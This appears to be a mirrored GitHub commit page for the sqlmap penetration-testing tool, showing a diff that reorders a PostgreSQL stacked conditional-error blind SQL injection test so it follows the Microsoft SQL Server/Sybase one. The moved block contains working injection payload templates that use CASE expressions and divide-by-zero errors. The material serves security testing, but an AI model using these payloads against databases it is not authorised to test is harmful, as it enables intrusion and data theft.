mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-02-17 03:50:42 +03:00
switch two conditional payloads for proper detection
This commit is contained in:
parent
5e358b51f9
commit
1f82d29a36
|
@ -1067,26 +1067,6 @@ Formats:
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>PostgreSQL stacked conditional-error blind queries</title>
|
|
||||||
<stype>1</stype>
|
|
||||||
<level>3</level>
|
|
||||||
<risk>0</risk>
|
|
||||||
<clause>0</clause>
|
|
||||||
<where>2</where>
|
|
||||||
<vector>; SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</vector>
|
|
||||||
<request>
|
|
||||||
<payload>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</payload>
|
|
||||||
<comment>--</comment>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<comparison>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</comparison>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>PostgreSQL</dbms>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>Microsoft SQL Server/Sybase stacked conditional-error blind queries</title>
|
<title>Microsoft SQL Server/Sybase stacked conditional-error blind queries</title>
|
||||||
<stype>1</stype>
|
<stype>1</stype>
|
||||||
|
@ -1108,6 +1088,26 @@ Formats:
|
||||||
<os>Windows</os>
|
<os>Windows</os>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>PostgreSQL stacked conditional-error blind queries</title>
|
||||||
|
<stype>1</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>0</risk>
|
||||||
|
<clause>0</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>; SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</vector>
|
||||||
|
<request>
|
||||||
|
<payload>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</payload>
|
||||||
|
<comment>--</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<comparison>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</comparison>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>PostgreSQL</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
<!-- End of stacked conditional-error blind queries tests -->
|
<!-- End of stacked conditional-error blind queries tests -->
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue
Block a user